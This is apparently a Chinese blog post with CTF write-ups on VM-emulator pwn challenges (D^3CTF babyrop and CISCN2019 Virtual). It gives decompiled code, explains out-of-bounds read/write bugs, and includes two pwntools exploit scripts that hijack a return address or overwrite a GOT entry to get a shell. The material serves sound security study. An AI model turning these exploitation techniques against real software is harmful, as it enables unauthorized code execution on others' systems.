登录后台

页面导航

本文编写于 177 天前,最后修改于 86 天前,其中某些信息可能已经过时。

概述

VMPwn泛指实现一些运算指令来模拟程序运行的Pwn题。

我们现在常见到的VMPwn基本设计如下:
1.分配内存模拟程序执行,基本组成要素为代码区和数据区,这两块区域可以分配在同一块内存或者两块独立内存。
2.数据区域包含模拟栈和模拟寄存器。
3.代码区根据用户指令模拟各种操作,如压栈出栈,寄存器立即数运算等
4.一般都是数据区的读写越界引发的漏洞,根据数据区内存分配位置的不同可以分为栈越界,bss越界和堆越界三类问题、

https://lotabout.me/2015/write-a-C-interpreter-0/

D^3CTF babyrop

一次输入的机会,能输入0x100字节数据

放入ida里发现这是个VMpwn,模拟汇编指令

第一次接触,vmpwn主要考察的是反汇编能力,要将代码翻译出来

signed __int64 __fastcall deal(__int64 a1, _QWORD *a2, __int64 a3, __int64 a4)
{
  __int64 v4; // rax
  signed __int64 result; // rax
  _QWORD *v6; // [rsp+0h] [rbp-80h]
  _QWORD **v7; // [rsp+8h] [rbp-78h]
  char v8; // [rsp+20h] [rbp-60h]
  unsigned __int64 v9; // [rsp+78h] [rbp-8h]

  v7 = a3;
  v6 = a4;
  v9 = __readfsqword(0x28u);
  memset(&v8, 0, 0x50uLL);
  *a3 = &v8;                                    // stack->rsp
  *(a3 + 16) = 10;                              // stack->size
  *(a3 + 8) = *a3 + 0x50LL;                     // stack->rbp
  while ( *(*a2 + a1) )
  {
    v4 = *(*a2 + a1);
    switch ( off_14B4 )
    {
      case 0u:
        *a2 = 0LL;
        return 1LL;
      case 8u:
        sub_D0E(v7, *(++*a2 + a1));             // push oper[4]
        *a2 += 4LL;
        break;
      case 0x12u:
        sub_D92(v7, *(++*a2 + a1));             // push oper[1]
        ++*a2;
        break;
      case 0x15u:
        sub_ADF(v7, *(++*a2 + a1));             // push oper[8]
        *a2 += 8LL;
        break;
      case 0x21u:
        sub_BB9(v7);                            // add [rsp], [rsp-8]; mov [rsp], 0;
        ++*a2;
        break;
      case 0x26u:
        sub_B62(v7, *(++*a2 + a1));             // movb [rsp],oper[1]; 
        ++*a2;
        break;
      case 0x28u:
        ++*a2;
        if ( !sub_C26(v7, v6) )                 // rsp+0x50; size-10; 
          exit(0);
        return result;
      case 0x30u:
        sub_CB4(v7, *(++*a2 + a1));             // sub [rsp], oper[1];
        ++*a2;
        break;
      case 0x34u:
        ++*a2;
        sub_E17(v7);                            // sub rsp, 8;mov [rsp], [rsp+8]; mov [rsp+8], 0; 
        break;
      case 0x38u:
        ++*a2;
        sub_E97(v7);                            // mov [rsp+8],0;
        break;
      case 0x42u:
        sub_EDF(v7);
        ++*a2;
        break;
      case 0x51u:
        sub_F71(v7);                            // [rsp]+1
        ++*a2;
        break;
      case 0x52u:
        sub_FBF(v7);                            // [rsp]-1
        ++*a2;
        break;
      case 0x56u:
        sub_100D(v7, *(++*a2 + a1));            // mov [rsp],oper[4];
        *a2 += 4LL;
        break;
      default:
        exit(0);
        return result;
    }
  }
  return 1LL;
}

存在越界读写漏洞,模拟的rsp可以到达真实rsp的下方,改写ret地址位onegadget就行

exp:

# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
r = process("./babyrop")
payload =  chr(0x28)                 #pop10
payload += chr(0x15) + p64(0)        #push 1
payload += chr(0x28)                 #pop10
payload += chr(0x38)                 #mov [rsp+8],0
payload += chr(0x56) + p32(0x24a3a)  #mov [rsp],0x24a3a
payload += chr(0X34)                 #mov [rsp-8],[rsp]   rsp -=8
payload += chr(0x21)                 #add [rsp-8],[rsp]
payload += chr(0X34)*5               #mov [rsp-8],[rsp]   rsp -=8
payload = payload.ljust(256,'\x00')
r.send(payload)
r.interactive()

CISCN2019 Virtual

VMpwn的题目

程序刚开始会初始化五个块,存储name,stack,instruction,v7,buf(V7作用暂时未知)

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char *name; // [rsp+18h] [rbp-28h]
  void **stack; // [rsp+20h] [rbp-20h]
  void **instruction; // [rsp+28h] [rbp-18h]
  void **data; // [rsp+30h] [rbp-10h]
  char *buf; // [rsp+38h] [rbp-8h]

  init_0();
  name = malloc(0x20uLL);
  stack = init_heap(64);                        // malloc(0x10);malloc(0x200)
  instruction = init_heap(128);                 // malloc(0x10);malloc(0x400)
  data = init_heap(64);                         // malloc(0x10);malloc(0x200)
  buf = malloc(0x400uLL);
  puts("Your program name:");
  read_0(name, 0x20u);
  puts("Your instruction:");
  read_0(buf, 0x400u);
  store_ins(instruction, buf);
  puts("Your stack data:");
  read_0(buf, 0x400u);
  store_stack(stack, buf);
  if ( jmp_ins() )
  {
    puts("-------");
    puts(name);
    sub_4018CA(stack);
    puts("-------");
  }
  else
  {
    puts("Your Program Crash :)");
  }
  free(buf);
  delete(instruction);
  delete(stack);
  delete(data);
  return 0LL;
}
}

使用strtok对输入的指令以” nrt”进行分割,可以模拟这些指令:push,pop,add,sub,mul,div,load,save

程序先将这些字节码存储在ptr这个数组里,然后再复制到程序段中

注意先输入的指令是存放在程序段的高地址处,呈队列形式,先进先出. 等到取指令的时候是从队列的头部开始取.

输入栈数据也是类似的,数据先进先出:

void __fastcall sub_40161D(__int64 a1, char *a2)
{
  int v2; // [rsp+18h] [rbp-18h]
  int i; // [rsp+1Ch] [rbp-14h]
  const char *s1; // [rsp+20h] [rbp-10h]
  _QWORD *ptr; // [rsp+28h] [rbp-8h]

  if ( a1 )
  {
    ptr = malloc(8LL * *(a1 + 8));
    v2 = 0;
    for ( s1 = strtok(a2, delim); v2 < *(a1 + 8) && s1; s1 = strtok(0LL, delim) )// 根据\n\t\r分割字符串
    {
      if ( !strcmp(s1, "push") )
      {
        ptr[v2] = 0x11LL;
      }
      else if ( !strcmp(s1, "pop") )
      {
        ptr[v2] = 0x12LL;
      }
      else if ( !strcmp(s1, "add") )
      {
        ptr[v2] = 0x21LL;
      }
      else if ( !strcmp(s1, "sub") )
      {
        ptr[v2] = 0x22LL;
      }
      else if ( !strcmp(s1, "mul") )
      {
        ptr[v2] = 0x23LL;
      }
      else if ( !strcmp(s1, "div") )
      {
        ptr[v2] = 0x24LL;
      }
      else if ( !strcmp(s1, "load") )
      {
        ptr[v2] = 0x31LL;
      }
      else if ( !strcmp(s1, "save") )
      {
        ptr[v2] = 0x32LL;
      }
      else
      {
        ptr[v2] = 0xFFLL;
      }
      ++v2;
    }
    for ( i = v2 - 1; i >= 0 && sub_40144E(a1, ptr[i]); --i )
      ;
    free(ptr);
  }
}

IDA没识别出来,原因是函数边界识别错误,看雪有类似问题,附上IDA官方的解释链接

https://www.hex-rays.com/products/ida/support/idadoc/1077.shtml

image.png

我尝试了几下没解决,就用ghidra+IDA配合把指令的函数搞出来了

image.png

到这里,这道题的逻辑基本算搞清楚了

漏洞点在load和save指令里面,由于对边界没有检查,可以做到任意读和任意写

需要一步步去调试算偏移

把大佬的exp放这里吧:

from pwn import *
context.log_level = 'debug'
debug = 1
elf = ELF('pwn')
sh = process('./pwn')
libc = elf.libc

gdb.attach(sh,'b* 0x401AF6') 
sh.recvuntil('name:\n')
sh.sendline('/bin/sh\x00')
sh.recvuntil('instruction:\n')
sh.sendline('push push push save push push pop add push')
sh.recvuntil('data:\n')
payload = "1 "+str(elf.got['puts']) + " " + str(-4) + " " + str(0x7f3838d52390-0x7f3838d7c690) +" "+ "1 "*5
sh.sendline(payload)


sh.interactive()